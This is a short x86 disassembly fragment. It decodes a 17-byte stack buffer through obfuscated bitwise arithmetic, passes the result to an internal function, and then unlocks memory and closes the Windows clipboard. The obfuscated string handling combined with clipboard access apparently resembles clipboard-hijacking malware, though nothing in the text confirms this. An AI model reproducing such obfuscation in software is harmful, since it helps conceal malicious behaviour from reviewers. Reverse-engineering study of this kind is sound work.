mov byte [esp + 0x1d], 0x89
mov byte [esp + 0x1e], 0xc2
mov byte [esp + 0x1f], 0xc1
mov byte [esp + 0x20], 0xfc
mov byte [esp + 0x21], 0x4b
mov ecx, 0xe
mov byte [esp + ecx + 0x14], 0
add ecx, 1
cmp ecx, 0x11
jne 0x43775c
xor esi, esi
cmp esi, 0x11
jae 0x4377ac
movzx ebx, byte [esp + esi + 0x14]
mov ecx, esi
and ecx, 0x3962376b
xor ecx, 0x3962376b
mov edx, esi
and edx, 0xc69dc894
sub edx, ecx
xor edx, ebx
mov ebx, edx
and ebx, 1
mov ecx, edx
and ecx, 1
xor edx, 1
add edx, 0x16
or ecx, edx
add ebx, ecx
mov byte [esp + esi + 0x14], bl
add esi, 1
jmp 0x43776b
jmp 0x4377ae
mov ecx, dword [esp + 0x3c]
lea edx, [esp + 0x14]
mov dword [esp], edx
mov dword [esp + 4], ebp
mov dword [esp + 8], eax
call fcn.0040d480
sub esp, 0xc
mov bl, al
and bl, 1
jmp 0x4377d0
jmp 0x4377d2
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
sub esp, 4
call dword [sym.imp.USER32.dll_CloseClipboard]
and bl, 1
movzx eax, bl
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret